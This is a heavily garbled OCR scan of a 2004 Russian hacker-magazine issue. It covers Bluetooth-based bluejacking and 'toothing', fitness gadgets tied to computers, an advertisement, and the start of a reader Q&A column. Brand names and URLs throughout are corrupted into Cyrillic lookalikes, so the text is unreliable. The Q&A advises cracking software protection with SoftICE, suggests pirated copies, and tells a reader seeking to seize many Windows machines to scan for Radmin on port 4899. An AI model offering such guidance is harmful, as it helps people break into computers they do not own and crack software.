щие изъясняться, не напрягая речевой аппа- 
рат, пока находятся на стадии разработок. 

Об их практических реализациях поговорим 
чуть ниже. Для начала я обращу твое внима- 
ние на новые каналы и методы общения, ко- 
торые уже не только доступны, но и набира- 
ют популярность. Существующие решения 
позволяют получить нечто похожее на теле- 
патию, так сказать, ее аппаратную модель. 
Они открывают новый уровень взаимоотно- 
шений между людьми, снимают психологи- 
ческие барьеры. 

Представь, ты приходишь на семинар по 
философии и, скучая, просматриваешь список 
присутствующих. В числе прочих данных об- 
наруживаешь, что пара человек не против 
прямо сейчас сыграть в шахматы. При этом 



один из них - разрядник и тебе явно не подхо- 
дит, а вот со вторым вполне можно оттянуть- 
ся. Подходишь, достаешь доску и начинаешь 
расставлять фигуры... Или, например, загля- 
дываешь в вагон электрички и спрашиваешь, 
не желает ли кто-нибудь из присутствующих 
дам заняться с тобой тантрическим сексом. 

И вместо того чтобы получить по морде, при- 
нимаешь к рассмотрению поступившие в от- 
вет предложения, устраиваешь отбор. 

Такие картины давно не шокируют тех, 
кто тесно сошелся с магией "Голубого Зуба" 

- пользователей мобильников и карманных 
компьютеров с беспроводным радиоинтер- 
фейсом ВІиеІооШ. 

ПРОТОКОЛ ПЕРЕДПЧИ МЫСЛЕЙ 

О Віиеіооіб еще пару лет назад говорили, в 
основном, как о способе избавиться от кабе- 
лей и проводов при подключении всевоз- 
можных устройств к сети и друг к другу. 
Классикой жанра стал первый мобильник 
Егісззоп с беспроводной гарнитурой. Затем 
появились сообщения об использовании 
ВІиеТооТІэ не только в телефонах и компьюте- 
рах, но и в бытовой технике - от микровол- 
новок и кофеварок до музыкальных центров 
и стиральных машин. На это помешатель- 
ство нельзя было смотреть без улыбки. 




Уже изначально ВІиеТооІГі задумывался 
не просто как очередное беспроводное соеди- 
нение, но и как технология автоматического 
включения любых устройств в сеть. Девайсам 
достаточно оказаться в пределах досягаемос- 
ти, чтобы они "увидели" друг друга и устано- 
вили контакт. Радиус действия составляет 
обычно от 10 до нескольких десятков метров. 
Открытый стандарт на основе единого прото- 
кола гарантирует полную совместимость уст- 
ройств различных производителей. В отдель- 
но взятом помещении Віиеіооіб создает ин- 
формационную микросреду - нечто вроде 
маленького интернета. При этом пользователя 
совершенно не заботят детали соединения, 
как не заботит его в большом интернете 
маршрутизация и другие технические нюансы. 

Техническая реализация Віиеіооіб предс- 
тавляет собой миниатюрный чип, который 
может быть монтирован практически в любые 
электронные устройства. Связь устанавлива- 
ется на частоте около 2,5 ГГц с помощью ус- 
тойчивого к помехам широкополосного сигна- 
ла. Соответственно, нет нужды в прямой ви- 
димости, как, например, по ІВ. Скорость об- 
мена данными достигает 1 мегабита в секун- 
ду. В дежурном режиме модуль Віиеіооіб пе- 
риодически сканирует частоту в поисках ана- 
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ИОБИПЬНОЯ ТЕПЕППТИЯ 




Микрочип Віиеіообі в различных исполнениях 



логичных устройств, а также сам посылает 
сигналы, чтобы его могли обнаружить другие. 

Можно сказать, что "голубой зуб" в соче- 
тании с мобильным телефоном или карман- 
ным компьютером создает подобие простра- 
нства телепатической связи. Сначала окиды- 
ваем "мысленным" взором окружающих - 
кто и зачем здесь присутствует, а затем вы- 
ходим на контакт по своему выбору. Можно 
проделать это в текстовом или речевом 
режиме. А при наличии цифровой камеры 
или заранее заготовленных картинок - посы- 
лать те самые зрительные образы. 

ГОЛУБЫЕ РОЗВПЕЧЕНИЯ 

С растущей популярностью Віиеіооій мир 
захлестнула эпидемия беспроводных развле- 
чений. Развитие нештатных применений "го- 
лубого зуба" в мобильниках началось с при- 
кольного спама - блюджекинга (Ыие]аскіпд - 
от руаскіпд - нападение). Соль шутки в том, 
чтобы отправить случайному пользователю, 
попавшему в зону твоего беспроводного 
контакта, странное или шокирующее сооб- 
щение. И следить за его реакцией. Само со- 
бой, насильно впарить незнакомцу сообще- 
ние не удастся. На дисплей выводится лишь 
запрос-уведомление с предложением при- 
нять мессагу. Именно в этом поле шутники 
помещают свои неоднозначные фразы. Если 
получатель "клюнул", телефоны обменивают- 
ся паролями и происходит доставка сообще- 
ния, к которому могут быть прикреплены 
картинки и другие файлы. После подвигов 
блюджекеры отчитываются о проделанной 
работе - хвалятся оригинальностью и остро- 
умием на домашних страничках и в специ- 
альных форумах. Там же публикуются сде- 
ланные камерой мобильника фотографии 
жертв в момент прочтения послания - отвис- 
шие челюсти, обескураженные лица. Между- 
народное сообщество блюджекеров старает- 
ся поддерживать чистоту рядов. На главном 
сайте м.ЫифскО.сот имеется свод правил, 
предписывающий уважительное отношение к 
жертве. Например, категорически запреща- 
ется посылать порнографию, откровенные 
непристойности и оскорбления. 



Но блюджекинг воспринимается больше 
как баловство и ребячество. Респектабель- 
ные граждане предаются другой народной 
забаве - тусингу (Іоойііпд). Особенно стре- 
мительно это развлечение для взрослых на- 
бирает популярность в Великобритании. Ту- 
синг - это поиск случайных сексуальных 
партнеров в общественных местах с по- 
мощью телефонов с ВІиеІооІІі. По дороге с 
работы где-нибудь в электричке ты посыла- 
ешь короткое сообщение-запрос: 

"Тооійіпд?". Оно может быть адресовано 
конкретной персоне, если удастся ее иден- 
тифицировать по модели телефона и дефо- 
лтному заводскому нику. Но чаще всего зап- 
рос направляется наугад. В зависимости от 
настроения и моральных устоев, адресат мо- 
жет принять предложение и ответить. 
Общение обычно начинается с флирта по 
мобильнику и часто заканчивается сексом 
в ближайшем месте, где можно уединиться - 
в тамбуре, на автостоянке, в служебном 
помещении... Тусингом удобно заниматься 
в местах длительного ожидания - в приго- 
родных поездах, в автобусах, на конферен- 




Жертва блюджекинга 



КОРОЛЬ ГОЛУБОЙ ЗУБ 

В ІиеіооШ - фамилия датского короля Харальда Блютуса в инте- 
рпретации английских летописцев. Какие у него на самом де- 
ле были зубы, и откуда взялось странное прозвище, существуют 
всякие догадки. Почему разработчики беспроводной технологии 
выбрали именно это название, тоже остается версией на уровне 
гипотез. Известно, что Блютус был объединителем земель ви- 
кингов и ввел единый религиозный стандарт - христианство. Так 
или иначе, название получилось стильное и оригинальное. 





циях и семинарах. В интернете есть специ- 
альные сайты и форумы по тусингу. На них 
можно добыть руководство для "чайников", 
поделиться собственными впечатлениями, 
разузнать места "клева" - где, на каких 
маршрутах и в какое время идет хороший ту- 
синг, а где просто нечего ловить. 

В последнее время появился ряд серви- 
сов, упрощающих тусинг и расширяющих его 
возможности. Службу знакомств Зегепсіірііѵ 
(ѵш.тоМе.пеІ) разработали в знаменитом 
Массачусетском технологическом институте. 
Пользователь инсталит на телефон софт и 
формулирует требования к партнеру на ве- 
чер. Типа, "интересует блондинка с большим 
бюстом и правильным прикусом, желательно 
без всякого образования". Если поблизости 
засветилась нужная персона, ЗегепсІіріТу ав- 
томатически оповещает о возможной фиес- 
те. В свою очередь, для других пользовате- 
лей сервиса ты обязан предоставить досто- 
верную информацию о себе. Ходишь по го- 
роду, а вокруг тебя непрерывно распростра- 
няются любовные радиофлюиды. Аналогич- 
ный сервис ВиХХопе (м.Ьшопе.пеІ/пк) для 
покетов и смартфонов продвигает российс- 
кая компания Ехіоп Зузіетз. 




Узнай о тусинге 
больше: 

л тто.2Шіпд.пеі 
л ІШр://ІооІИіпд. 
Ыодзроі.сот/ 
л тт.доодіе.сот/ 
$еагсИ?д=Іоо11ііпд 



А ЗНПКОИЫЕ НЕЗНЯКОНЦЫ 

Если ты не сидишь целыми днями, уткнув- 
шись в монитор, а ежедневно ездишь на ра- 
боту, учебу или хотя бы выбираешься в ма- 
газин или в боулинг, ты, конечно, замечал 
людей, которые тебе лично не знакомы, но 
которых ты видишь не в первый раз. Этот 
феномен называется Ратіііаг Зігапдегз - 
"знакомые незнакомцы". В 1972 году его 
впервые описал известный психолог Стэнли 
Милгрэм, автор "правила шести звеньев", 
экспериментально вычисливший, насколько 
тесен наш мир. Думаю, тебе было бы любо- 
пытно знать, кто эти люди, которых ты неп- 
роизвольно выделяешь в толпе, на улице 
или в транспорте. Когда использование те- 
лефонов и карманных компьютеров с 
ВІиеІооІІі становится массовым, сбор статис- 
тики можно поручить "голубому зубу". Соф- 
тина на телефоне подсчитывает, когда и 
сколько раз твой ВІиеІооІІі контактировал со 
своим собратом с повторяющимся иденти- 
фикатором. То есть, как часто ты оказыва- 
ешься поблизости с одними и теми же 
людьми. Программу достаточно установить 
только на свой аппарат. Вычисление и зна- 
комство с постоянными попутчиками стано- 
вится еще одним телепатическим развлече- 
нием. Название пока не устоялось. Но наи- 
большую известность получил проект 
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ларингофоны 

Л арингофоны, закрепляемые на горле, с давних времен ис- 
пользовались в условиях высокого шума, например, в танках 
и самолетах. Изначально они выглядели как наглухо запаянные 
обычные угольные микрофоны. Ларингофоны реагируют на не- 
посредственную вибрацию и мало воспринимают звуковые ко- 
лебания воздуха. 

Неслышная для окружающих скрытая речь - это то, что человек 
проговаривает "про себя" на вполне конкретном языке, даже 
если он при этом ничего не произносит вслух. Технологии ее 
считывания можно использовать не только для ввода информа- 
ции, но и для "чтения мыслей", что достаточно подробно было 
описано фантастами. 



^ЬЬегѵѵоску (могЬап- 
аІто$рІіеге$.пеМаІ)Ьегаоску/) исследовательской 
лаборатории ІпіеІ. В русском переводе - 
Бармаглот, по имени персонажа Льюиса 
Кэрролла. 

близкие контакты 

ЧЕТВЕРТОГО РОДИ 

Вот мы и приближаемся к прообразам пол- 
ноценной телепатии. Вообще говоря, для 
формирования чувственных образов широко 
задействуется сила воображения. Она дает 
полную палитру человеческих ощущений. Что 
здесь могут предложить современные техно- 
логические решения? Идеи по передаче вку- 
сов и запахов пытаются воплотить уже не 
первый год. Подробный материал об этом ты 
найдешь в предыдущем номере Хакера. За- 
мечу только, что разработку направления для 
мобильных телефонов ведет исследовательс- 
кий центр ѴВР ЭоСоМо (ѵш.угр.со.ір/еп/). 
"Чувственный" телефон ученые обещают 
представить в ближайшие пару лет. 

Пока же нетерпеливые граждане пытаются 
решить проблему подручными средствами. 
Три года назад мир облетела новость о 20- 
летней жительнице Тайваня, которая в играх с 
бойфрендом использовала в качестве вибра- 
тора телефон №кіа 8850 с виброзвонком. 

При этом они так увлеклись, что потребова- 
лось хирургическое вмешательство для извле- 
чения аппарата. Идея приглянулась многим, и 
спустя время в продаже появились промыш- 
ленные образцы устройств для мобильной те- 
ледильдоники. Разнообразные насадки для 
мобильников с виброзвонком сегодня можно 
купить в интернете (мфаіапогдазіасот, 
ѵш.ріюпесііісіодігіз.сот) по цене около 10 баксов 
за штуку. Согласно инструкции, их нужно ак- 
тивировать виброзвонками от входящих 
зтз'ок. Однако несложно представить себе 
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Главное, чтобы аккумулятор был хорошо заряжен! 




"боевое применение" насадок в тусинге. 
ВІиеІооФ дает большой простор для фанта- 
зии. Рано или поздно появятся программы 
для гибкого управления длительностью и ха- 
рактером виброзвонка. 

Л ЧИТОЕН МЫСЛИ 

Для полной скрытности и релаксации хоте- 
лось бы передавать речь, не раскрывая рта 
и не издавая звуков. Телефон Ріпдег ѴѴбізрег 
от ЭоСоМо - только первый шаг к этому. 
Чтобы начать разговор, придется вставить 
указательный палец в ухо. Специальный 
браслет трансформирует цифровой сигнал 
от собеседника в вибрации, которые переда- 
ются через кости руки. Барабанная перепон- 
ка улавливает вибрации и переводит их об- 
ратно в звуковой сигнал, который восприни- 
мается мозгом. 

Передовую систему распознавания внутрен- 
него шепота человека разработал аспирант 
японского Института науки и технологий Нара. 
Фактически это сверхчувствительный ларинго- 
фон, работающий в сочетании с компьютерной 
программой распознавания речи. Изобрета- 
тель Накадзима утверждает, что его устрой- 
ство размером с таблетку воспринимает даже 
не колебания от голосовых связок, а микрод- 
вижения мышц лица. Эго позволяет улавли- 
вать сигнал внутреннего шепота, который в 
тысячу раз тише голоса. Такая речь не искаже- 
на дефектами артикуляции, даже если они 
есть при обычном общении. 

Более глубокие разработки ведут ученые 
МАЗА. В их случае речевой сигнал извлекается 



из непосредственного "шевеления мозгами" - 
путем считывания и расшифровки нервных 
импульсов. Импульсы, поступающие на рече- 
вые органы, перехватываются посредством 
датчиков на подбородке и шее человека. 
Нужные сигналы распознаются, усиливаются 
и дешифруются системой, а в результате 
трансформируются в обычную речь. Ученые 
подчеркивают, что реализация подобной тех- 
нологии возможна на уровне имплантатов. 

ТЕПЕПОТИЯ "ПО-РУССКИ" 

Волна "голубого зуба" нас пока не захлест- 
нула. Дело не только в технологическом отс- 
тавании и толщине кошельков. Продавать и 
использовать устройства ВІиеІооФ в России 
официально разрешили только в марте 2003 
года. И, в отличие от забугорья, без лицен- 
зии можно работать с устройствами, радиус 
действия которых не превышает 10 метров, 
а мощность передатчика - 2,5 мВт. Поэтому 
размах голубых развлечений пока не тот. И 
все же, если ты купишь телефон с Віиеіоойі, 
определенную интригу поиска и случайных 
встреч обязательно получишь. Накопление 
критической массы всегда начинается с эн- 
тузиастов. Сейчас самое время сделать свой 
вклад в развитие тусинга и блюджекинга. 
Надо сказать, фантазии на тему нестандарт- 
ного использования рядовых вещей у нас 
всегда были на высоте. Я уверен, что с нас- 
тоящим бумом беспроводных технологий в 
России мы узнаем о совершенно невероят- 
ных способах их применения. 
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Лучший поставщик 
сетевых решений 
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преддверии летней Олимпиады команда Хакера отрядила меня принять у тебя нормативы ГТО. Говоришь, одной левой "выжимаешь" 
компьютерную крысу? Не щурясь, гасишь бегущую мишень в СО и делаешь "коп" через Шака в МЬа Иѵе? Как бы не так! По 
статистике, у просиживающих за монитором лучшую часть жизни здоровье никудышное. Компьютеры делают из нас бледных 
субтильных очкариков, страдающих от туннельного синдрома и болей в спине. Мы губим дыхалку компьютерной пылью, помогаем Гейтсу 
заколачивать состояние на геморрое и быстро превращаемся в молодых стариков. Таких в олимпийскую сборную не берут. 



РПЗВИВПЕМСЯ ФИЗИЧЕСКИ 30 КОИПЬЮТЕРОМ 









НПКЕР/№06(66)/2004 




на зарядку становись 

Е жедневный труд над рельефным 
животом и подтянутыми мышца- 
ми - занятие скучное. Когда ря- 
дом нет друга, тянущего на тре- 
нировки, а девушки за соседни- 
ми тренажерами ненормально 
увлечены собственной фигурой, 
здоровый образ жизни быстро 
пригорает. Ты "забываешь" продлить абоне- 
мент на следующий месяц и возвращаешься 
за любимый монитор. Внутренний голос кля- 
нет: "И дался мне этот значок!" Но каждую 
весну история повторяется... 

А если я скажу, что индустрия хай-тека 
всерьез озаботилась твоим здоровьем, и те- 
перь развиваться физически можно прямо 
у компьютера? 



Л ПЕРСОНРПЬНЫЙ ТРЕНЕР 

Наступление хай-тека началось с электрон- 
ных тренеров-диетологов, встроенных в на- 
ручные часы. Такие устройства ведут непре- 
рывный мониторинг пульса и расходуемых 
калорий. Они держат тебя в постоянном нап- 
ряжении и время от времени корректируют 
физические нагрузки. Новые модные диеты и 
программы тренировок можно загрузить из 
интернета через компьютер. Фанатики поху- 



дания шагу не ступят без консультации со 
своим персональным тренером на запястье. 

Другим направлением развития стали наво- 
роченные тренажеры. Встроенный компьютер 
ведет персональный дневник твоих тренировок 
и спортивных достижений. Идентификация 
происходит по смарт-карте, все необходимые 
данные доступны на сенсорном экране. 



Хит сезона - беговые дорожки с техноло- 
гией іРІТ.сот (шш.ісопШпе$$.сот). Тренажер 
подключается к СЭ-плееру, видику или 
компьютеру. Во время получасовой трени- 
ровки звуковые импульсы с компакт-диска 
или кассеты управляют скоростью и накло- 
ном дорожки. Параметры изменяются авто- 
матически, поэтому волей-неволей прихо- 
дится бежать быстрее. Голос тренера пыта- 
ется подбадривать и дает полезные советы. 
Чтобы бежать было веселей, можно выбрать 
музыкальное сопровождение - от кантри до 
хип-хопа. Видеоряд на экране переносит те- 
бя в тропики или в тренажерный зал, где с 
тобой как бы занимается целая группа. При 
этом достигается полный эффект присут- 
ствия - даже девчонки тебе подмигивают. 
Подключив веб-камеру и микрофон, можно 
тренироваться в онлайне. За плату с тобой 
будет работать живой инструктор. Произво- 
дители наняли достаточное число тренеров, 
в том числе русскоговорящих, чтобы можно 
было планировать тренировки круглосуточ- 
но. Еще одна интересная возможность - со- 
ревнования через интернет. Владельцы до- 
рожек в разных концах света стартуют од- 
новременно и бегут фиксированное время. 
Кто дальше убежал, тому слава и почести. 
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БЫСТРЕЕ, ВЫШЕ, СИЛЬНЕЕ 




А активные 

КОМПЬЮТЕРНЫЕ ИГРЫ 

В свое время компания Ехегігіз (тмі.ехегігіз.сот) 
подошла к проблеме мотивации к занятиям 
спортом с неожиданной стороны. В велотре- 
нажер была встроена игровая приставка - для 
начала всего с четырьмя простенькими арка- 
дами. На руле разместился 15-дюймовый 
ЖК-дисплей и игровая клавиатура с джойсти- 
ком. Прилагаемые физические усилия напря- 
мую связывались с успехом в игре. За счет 
этого достигалась беспрецедентная вовлечен- 
ность в работу над собой. 

Получившая развитие философия актив- 
ных компьютерных игр основана на том ут- 
верждении, что мы занимаемся спортом не 
ради тренировок. Мы делаем это из-за кай- 
фа реального челленджа и физического со- 
ревнования. Заехать на гору на велике, что- 
бы слететь с нее, разогнавшись до 90 км/ч. 
Завалить соперника в армрестлинге. Обог- 
нать, обыграть защитников в футболе. Когда 
твои легкие горят от бешеного спринта. Ког- 
да ты испытываешь чувство удовлетворения 
и счастливой усталости, знакомое настоя- 
щим победителям. Скажи, что может быть 
лучше? Активные компьютерные игры требу- 
ют физических усилий, как в реальном спор- 
те. Но и радость победы в такой компьютер- 
ной игре схожа с неземной радостью мара- 
фонца, который пришел к финишу первым. 

Типичный контроллер для активных компью- 
терных игр - ОатеЬіке (ѵм.датеЬіке.сот) для 
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Золу РІауЗіаІіоп 2. Устройство существует в 
двух конструкциях. Первая - с виду обычный ве- 
лотренажер, подключаемый к порту джойстика. 
Вторая - настоящий велик, заднее колесо кото- 
рого висит в воздухе на специальной подставке. 
Магнитный сенсор фиксирует скорость враще- 
ния заднего колеса. Переднее колесо, уткнув- 
шееся в платформу ОатеЬіке, передает конт- 
роллеру повороты руля. Чем быстрее ты враща- 
ешь педали велосипеда, тем стремительнее 
движется виртуальный байк в игре на экране. 
Контроллер можно использовать для работы с 
симуляторами велосипеда, с автогонками и 
другими компьютерными играми на скорость. 

Не так давно компания Роѵѵегдгіб Рііпезз 
(ш».роиегдгі{№Іпе$$.сопі) представила первый си- 
ловой манипулятор-тренажер. кіІоѴѴай - это 
гигантский джойстик высотой по плечи. Если 
толкать его и давить в нужном направлении, 
объект в игре сдвинется с места и продолжит 
движение. Встроенные сенсоры измеряют 
прилагаемые к манипулятору усилия, то есть 
твою реальную физическую силу, а не просто 
скорость перемещения пластмассовой рукоят- 
ки. Уровень нагрузки можно менять непосред- 
ственно в процессе игры. В итоге получаем 
эффективное упражнение на преодоление си- 
лы сопротивления и на изометрию - удержа- 
ние груза. Тренировка с кіІоѴѴай способствует 
быстрому и качественному наращиванию мы- 
шечной массы. А реалистичный геймплей и 
нестандартная оценка твоей реакции гаранти- 
руют новые ощущения во время игры. 




Танцевальные коврики Рапсе Маі. 
Как нужно зажигать, чтобы сносить 
6 таких ковриков за один месяц? 



А ТПНЦЕВППЬНЫЕ КОВРИКИ 

Танец - тот же спорт и калории сжигает не 
хуже. Эпидемия танцевальных ковриков на- 
чалась в Японии в 1998 году, когда компа- 
ния Копаті выпустила компьютерную игру 
Эапсе Рапсе Веѵоіиііоп. К ней прилагался ку- 
сок пластика примерно метр на метр, разде- 
ленный на четыре зоны, чувствительные к 
давлению. Своеобразный геймпад подклю- 
чался к игровым консолям РІауЗіаІіоп и был 
неотъемлемой частью ритмичного экшена. 

В первой версии игры на экране горели че- 
тыре стрелки: вперед, назад, влево и впра- 
во. В такт музыке снизу к ним приближались 
другие стрелки. При их совмещении требо- 
валось быстро встать ногой на нужный квад- 
рат. Действо продолжалось до тех пор, пока 
игрок не начинал ошибаться, либо элемен- 
тарно переставал успевать за мелодией. 
Танцевальные коврики затмили в Японии 
славу караоке. С тех пор вирус игры заразил 
миллионы людей в Европе и Америке и вот- 
вот доберется до нас. 

Эапсе Эапсе Веѵоіиііоп переживает чет- 
вертый сиквел. Аналогичные игры и танце- 
вальные коврики для них выпускают десятки 
компаний. Коврики отличаются прочностью 
покрытия, которое все равно снашивается 
при активном использовании. Число зон воз- 
росло до 9 с исходной позицией "ноги вмес- 
те" в центре и подсветкой стрелок при нажа- 
тии. На экране теперь танцует трехмерный 
человек, копирующий твои неловкие движе- 
ния. Оценка выставляется, исходя из точнос- 
ти и скорости выполнения танцевальных па. 
За сложные комбинации движений даются 
специальные бонусы. Мелодии разделены 
по уровням сложности. Свежачок можно заг- 
рузить из интернета. Через глобальную Сеть 
доступны и онлайновые турниры. В команд- 
ной игре на одном коврике могут сменять 
друг друга до 8 человек. Другой режим тре- 
бует определенной сноровки - два человека 
танцуют только левыми ногами. Ну а настоя- 
щие профессионалы отплясывают на двух 
ковриках одновременно и используют в тан- 
це голову вместо ног. Для тех, кто мечтает 
похудеть, предусмотрен режим аэробики. 
Задаешь свой вес и сколько хочешь сбро- 
сить, а программа сама подбирает танец, 
ведя счет сжигаемым калориям. 

Одними только танцами-шманцами при- 
менение ковриков не ограничивается. 

В зверской игрушке Вапбіі Вазб из труб в 
случайном порядке высовываются головы. 




0НЕКД0Т, доитопько 

Р еальная объява из интернета: "Продам или поменяю на мо- 
бильные телефоны, компьютер, ноутбук... универсальный 
спортивный тренажер для всех групп мышц". 




Игровой манипулятор ОатеЬіке: магнитный сенсор 
для заднего колеса, платформа для переднего коле- 
са и геймпад на руль 




Производители 
спортивных ѴН-си- 
муляторов: 
а ѵѵѵт.ѵгеаііііез.сот 
А ѵѵѵт.ативіігоп- 
іх.сот 

а ѵѵѵто.рЗрго.сот 
А тт.ѵіѵісі 
дгоир.сот 










ІИРЫИТ 





ѴЯ-симулятор бобслея 



Наступая на квадраты, нужно заставить их 
спрятаться, иными словами - засунуть об- 
ратно. Танцевальные коврики открыли новую 
эпоху активных развлечений за компьюте- 
ром, поэтому рекомендую не пропустить по- 
явление РС-интерфейса и приход к нам этой 
народной японской забавы. 

виртуальная реальность 

Где получить реальное удовольствие от 
спорта, если не на стадионе? Конечно, в си- 
муляторе виртуальной реальности, самом 
тесном сплетении спорта и хай-тека. 

Например, в симуляторе бобслея, с по- 
мощью которого тренируется национальная 
американская команда. Спортсмены забира- 
ются в подвешенную над землей люльку. 
Компьютерная станция ІВМ В56000 в реаль- 
ном времени обсчитывает динамику санок. 
Исходными данными служат параметры 
трасс Лиллехаммера и Солт Лейк Сити, а 
также действия самих спортсменов. Картин- 
ка на экране отражает реальную перспективу 
от лица водителя. Спортсмены слышат скрип 
саней, как во время настоящего спуска, а 
при помощи устройства обратной связи с 
переменным успехом вписываются в поворо- 
ты и испытывают реалистичные перегрузки. 




ЧЕИПИОНОТ ПО ИЕТПНИЮ КПЯВИРТУР 

В этом году предварительно в районе "Митино" в середине ав- 
густа состоится Третий чемпионат по метанию клавиатур в 
длину. Два предыдущих проводились в подмосковном Красноз- 
наменске. Исторически в программу чемпионата включаются 
два вида соревнований. Основной - швыряние клавиатур в дли- 
ну. Абсолютный рекорд прошлого сезона - 1 8 метров 90 санти- 
метров среди мужчин и 15 метров 46 сантиметров среди жен- 
щин. Второй конкурс предполагает пинание ногой компьютер- 
ных мышей. Удовольствие то еще! В общем, не пропусти реги- 
страцию на сайте ѵѵѵѵѵѵ.кЬраіТу.сот. 



Хігете Зрогіз ЗпоѵѵЬоагсІ ЗітиІаГог от ком- 
пании ѴігіиаІ НеаІІІіез (ѵм.ѵгеаіі(іешт) являет- 
ся на сегодня самым полноценным симуля- 
тором сноуборда. Реализм обеспечивает 
шлем виртуальной реальности с технологией 
трехмерного звука. Отклоняясь влево и 
вправо, ты спускаешься по крутому снежно- 
му склону Альп. Для прыжков и трюков ис- 
пользуется ручной контроллер. Специально 
для зевак зрелище транслируется на 22- 
дюймовый выносной монитор. Не хватает 
разве что вентилятора с модулем управле- 
ния скоростью ветра и брызг снега, залепля- 
ющего очки. Такие прибамбасы для симуля- 
торов экстремальных видов спорта обещали 
еще несколько лет назад. Но в продажу мо- 
дели до сих пор не были заявлены. 

Рго Зкаіег от Маххіго (мѵшаххіго.ги) - это 
домашняя модель манипулятора для скейт- 
борда, сноуборда и серфинга с интерфей- 
сом 115В. Вставая на доску из металлоплас- 
тика с противоскользящим покрытием, ты 
получаешь полный контроль над ситуацией. 
Отклонение на 1 ,5 градуса вниз передней и 
задней части имитирует ускорение и тормо- 
жение. Крен влево и вправо достигает 8 гра- 
дусов. На ручном контроллере расположены 
аж 15 кнопок. По словам экспертов, устрой- 
ству немного не хватает динамики. Чтобы 
продавить жесткие пружины, при весе в 60 
кг приходится сильно отклоняться и сосре- 
дотачивать массу на одной ноге. В результа- 
те, движения получаются прерывистыми. За- 
то цена на Рго Зкаіег - всего 100 долларов 
против $6000 наХІгете Зрогіз ЗпоѵѵЬоагсІ. 

Невероятное число реализаций получили 
симуляторы гольфа. В модели от ѴігіиаІ 
ВеаІІІІез нужно рассекать воздух специаль- 
ной палкой с сенсорами на конце. Мячик 
можно наблюдать только на экране. Симуля- 
тор гольфа от РЗрго (ѵш.рЗрго.сот) позволяет 
использовать стандартную клюшку и бить по 
настоящему мячу. Чтобы дорогая хрусталь- 
ная ваза долго радовала маму, покупается 
сетка-улавливатель. Платформа с 65 инф- 
ракрасными сенсорами фиксирует движение 
клюшки до, во время и после соприкоснове- 
ния с мячом. Для расчета траектории полета 
используется профессиональное програм- 
мное обеспечение. Существуют еще симуля- 
торы гольфа с источниками света, воссозда- 
ющими на полу тип поверхности - рыхлый 
песчаный берег или зелень лужайки. 

ВеаІ Зрогіз Агепа переносит тебя на фут- 
больное поле или баскетбольную площадку. 
Мяч нужно бросать прямо в экран с проеци- 
руемым на него изображением. 

Симулятор Сезіиге Хігете позволяет сто- 
ять на футбольных воротах и принимать во- 



лейбольный мяч. В качестве контроллера иг- 
рок использует собственное тело, совершая 
немыслимые ужимки и прыжки. 

Заканчивая обзор ѴВ-симуляторов, не мо- 
гу не вспомнить виртуальный теннис с бесп- 
роводной ракеткой, виртуальный каякинг и 
карате. А также знаменитую "стометровку" от 
Атизгігопіх. Для управления здесь использу- 
ется аналог танцевального коврика. Бежать 
приходится немного в раскоряку, а брать 
барьеры - простым нажатием кнопки, когда 
обе ноги не касаются платформы на земле. 

На какие только ухищрения не идут про- 
изводители, чтобы сделать из тебя играю- 
щего мускулами Аполлона! К тебе на дом пе- 
реезжают теннисный корт и "качалка" разом. 
Виртуальные гантели сами прыгают в руки. 
Не отходя от компьютера, в родной стихии 
хай-тека ты обливаешься потом и испытыва- 
ешь самый здоровый спортивный азарт. 
Просто расслабься и получай удовольствие. 

И куда катится мир? 
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Многофункциональные устройства Ьехтагк 

Принтер, сканер, копировальный аппарат: 
качество и производительность для профессиональной работы 




Товар сертифицирован 




Ьехмдкк 

тм 

ѴѴе’ге АІѵѵауз ѴѴогкіпд.™ 




Адрес: 119121, Москва, 
ул. Плющиха, д. 42 
Телефон: (095) 710-7280 
Факс: (095) 247-4013 
Е-таіІ: орІ@г-апсІ-к.сот 




АЭРТОН 

ГРУППА КОМПАНИЙ Я&К 



\ѵѵѵ\ѵ . Іехтагк . ги 



ѵѵѵѵѵѵ.аігіоп.сот 




взпом 





Задавая вопросы, конкретизируй их. Давай больше данных о 
системе, описывай абсолютно все, что ты знаешь о ней. Это 
мне поможет ответить на твои вопросы и указать твои ошибки. 

И не стоит задавать вопросов, вроде "Как сломать ш- 
сервер?" или вообще просить у меня "халявного" Іпіегпеі'а. Я 
все равно не дам, я жадный :). 



ІІІІІІІІІІ 




| Я хочу научиться взламывать софт. Друзья 
посоветовали разобраться с ЗоШСЕ. Что это 
такое? 



Р в ЗоШсе - один из лучших низкоуровневых отладчиков программного 
■ кода. При помощи этой софтины можно наблюдать за состоянием 
системных регистров, держать перед глазами код программы и захватывать 
дампы памяти. Разумеется, ЗоШсе имеет двоякое применение: с одной сто- 
роны его используют программисты для отладки собственных программ, а с 
другой это отличный инструмент для изучения чужого софта с целью снятия 
защиты. В настоящее время ЗоШсе входит в поставку ОеѵРагШег ЗШбіо 
РгоГеззіопаІ, отдельно отладчик не выпускается. Но ты можешь найти одну из 
старых версий на пиратских развалах. 




О ш Если сервер Ветоіе Абтіпізігаіог'а (ѵш.іата(есіі.сот) стоит на твоем 
■ компе, то поиметь можно только тебя самого. И объем того, что мо- 
гут поиметь, зависит от количества іср-уинов, паролей к шеллам и диалап- 
аккаунтам на твоем компе :). Так что советую тебе поскорее избавиться от 
сервера, убрав его из автозагрузки - после этого ты сможешь думать о взло- 
ме чужих машин. Вабтіп - одно из самых популярных средств для удаленно- 
го администрирования ѵѵіп-тачек, предоставляющее тебе полноценный деск- 
топ удаленной машины. В результате ты можешь работать с удаленным ком- 
пом по сети как со своим собственным. 




0 ‘ Нужно захватить побольше ѵѵіп-компов с 
■ установленным Вабтіп'ом. Что делать, если 
всюду будут пароль просить? 



О в Сканить серваки Радмина - наука нехитрая. Стандартный порт - 
■ 4899, и если он открыт, это косвенно свидетельствует о присутствии 
искомого сервера. Конечно, это может быть всего лишь чей-то Ітопеу роі, 
ловушка для хакера. Пароль, действительно, чаще всего будут просить. К 
сожалению, публичного релиза брутфорсера найдено не было! Все лишь 
говорят: ишь ты какой хитрый, сам пиши! А это не так уж и просто, посколь- 
ку все общение между клиентом и сервером криптуется довольно стойким 
алгоритмом. 





■ Я уже не первый месяц за компьютером, много 

■ общаюсь в ІВС. Мечтаю стать админом в ІВС- 
сети. Как этого добиться? 



■ Добыл "СофтАйс", но эта тварь отказывается 

■ пахать под ѴѴіпХР. Как мне быть? Не хочется на 
N1 4.0 переезжать ;). 

П и Ответ, фактически, есть в предыдущем вопросе. Обновленный ЗоШСЕ 
■ был успешно впитан в ОеѵРаіІпег ЗШсІіо РгоГеззіопаІ ЕбШоп и другие 
